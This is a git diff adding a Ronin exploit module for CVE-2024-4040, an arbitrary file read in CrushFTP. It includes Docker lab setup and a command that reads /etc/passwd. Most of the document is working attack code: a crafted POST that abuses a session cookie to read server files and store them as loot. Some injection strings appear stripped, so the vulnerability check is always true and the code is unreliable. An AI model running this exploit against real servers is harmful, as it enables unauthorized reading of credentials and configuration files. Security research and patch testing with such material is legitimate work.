diff --git a/exploits/crushftp/CVE-2024-4040.rb b/exploits/crushftp/CVE-2024-4040.rb new file mode 100755 index 0000000..21a81b3 --- /dev/null +++ b/exploits/crushftp/CVE-2024-4040.rb @@ -0,0 +1,173 @@ +#!/usr/bin/env -S ronin-exploits run -f + +require 'ronin/exploits/web' +require 'ronin/exploits/mixins/loot' + +module Ronin + module Exploits + # + # A Proof-of-Concept exploit for CVE-2024-4040. + # + # * https://github.com/1ncendium/CVE-2024-4040/blob/5e7c7a34827b39a29c62f240912ac218df764838/exploit.py + # * https://github.com/jakabakos/CVE-2024-4040-CrushFTP-File-Read-vulnerability/blob/8fbb976af2b92cdcd7dce5e6baf72e57b099e3bf/exploit.py + # * https://github.com/airbus-cert/CVE-2024-4040/blob/8e6652ae88065e0cc6cd0da8d479a40c249274d4/scan_host.py + # + # ## Improvements + # + # * Obtains the anonymous session cookie via `GET /WebInterface/`, not + # `/WebInterface/login.html`. + # * Uses a better regex to extract the included file from the XML response. + # + # ## Vertification + # + # ``` + # FROM ubuntu:latest + # WORKDIR /var/opt + # RUN apt-get update -qq && \ + # apt-get install -qq -y unzip wget openjdk-17-jre-headless && \ + # wget -q https://github.com/the-emmons/CVE-2023-43177/releases/download/crushftp_software/CrushFTP10.zip && \ + # unzip CrushFTP10.zip + # + # EXPOSE 21 + # EXPOSE 8080 + # EXPOSE 443 + # EXPOSE 2222 + # WORKDIR /var/opt/CrushFTP10 + # CMD ["java", "-Xmx1024m", "-jar", "CrushFTP.jar", "-d"] + # ``` + # + # ``` + # $ docker built -t vuln-crushftp . + # $ docker run --rm -p 2121:21 -p 4443:443 -p 8080:8080 -p 9090:9090 -p 2222:2222 vuln-crushftp + # ``` + # + # ``` + # $ bundle exec ./exploits/crushftp/CVE-2024-4040.rb -p base_url=http://localhost:8080 -p file=/etc/passwd + # ``` + # + # **Note:** it takes more than a minute for `CrushFTP.jar` to fully boot up. + # + class CVE_2024_4040 < Web + + include Mixins::Loot + + register 'CVE-2024-4040' + + quality :tested + release_date '2024-05-13' + disclosure_date '2024-04-26' + advisory 'CVE-2024-4040' + advisory 'GHSA-46vf-c8gj-2pgq' + + author "Postmodern", email: "postmodern.mod3@gmail.com" + summary "Arbitrary File Read in CrushFTP < 10.7.1 and 11.1.0" + description <<~DESC + CrushFTP versions before 10.7.1 and 11.1.0 are vulnerable to an + unauthenticated server side template injection vulnerability that allows + reading arbitrary files outside of the VFS Sandbox. + + POST /WebInterface/function/ + command=exists&paths=FILE_HERE&c2f=... + + DESC + references [ + "https://github.com/1ncendium/CVE-2024-4040", + "https://github.com/jakabakos/CVE-2024-4040-CrushFTP-File-Read-vulnerability", + "https://github.com/airbus-cert/CVE-2024-4040" + ] + + param :file, default: 'users/MainUsers/groups.XML', + desc: 'The file to read' + + # + # Test whether the target system is vulnerable. + # + def test + unless (cookie = session_cookie) + return Unknown("could not obtain session cookies") + end + + file = params[:file] + injection = "#{file}" + + response = http_post( + '/WebInterface/function/', cookie: cookie, + form_data: { + 'command' => 'exists', + 'paths' => injection, + 'c2f' => cookie['currentAuth'] + } + ) + + if response.code == '200' + if response.content_type == 'text/xml' + if response.body.include?('') + Vulnerable('host is vulnerable') + else + NotVulnerable('host is patched') + end + else + Unknown("did receive an XML response: #{response.content_type}") + end + else + Unknown("did not return HTTP 200: #{response.code}") + end + end + + # + # Obtains the `currentAuth` cookie using {#session_cookie} and then sends + # a HTTP POST to `/WebInterface/function/` with the cookie and form params + # with the `FILE_HERE` Server-Side Template Injection. + # + def launch + unless (cookie = session_cookie) + fail("could not obtain the session cookies") + end + + file = params[:file] + injection = "#{file}" + + response = http_post( + '/WebInterface/function/', cookie: cookie, + form_data: { + 'command' => 'exists', + 'paths' => injection, + 'c2f' => cookie['currentAuth'] + } + ) + + if response.code == '200' + if response.content_type == 'text/xml' + if (match = response.body.match(%r{(.+?)\r\n:false}m)) + loot.add(file,match[1]) + else + fail("could not extract the included file from the response body: #{response.body.inspect}") + end + else + fail("did not receive a valid XML response: #{response.content_type}") + end + else + fail("POST #{params[:base_url]}/WebInterface/function/ returned HTTP #{response.code}") + end + end + + # + # Sends a HTTP GET request to `/WebInterface/` and returns the + # `currentAuth` and `CrushAuth` cookie values. + # + # @return [Hash, nil] + # + def session_cookie + if (cookies = http_get_cookies('/WebInterface/')) + # NOTE: CrushFTP sends the currentAuth and crushAuth cookie values in + # two separate Set-Cookie headers. + { + 'currentAuth' => cookies[0]['currentAuth'], + 'CrushAuth' => cookies[1]['CrushAuth'] + } + end + end + + end + end +end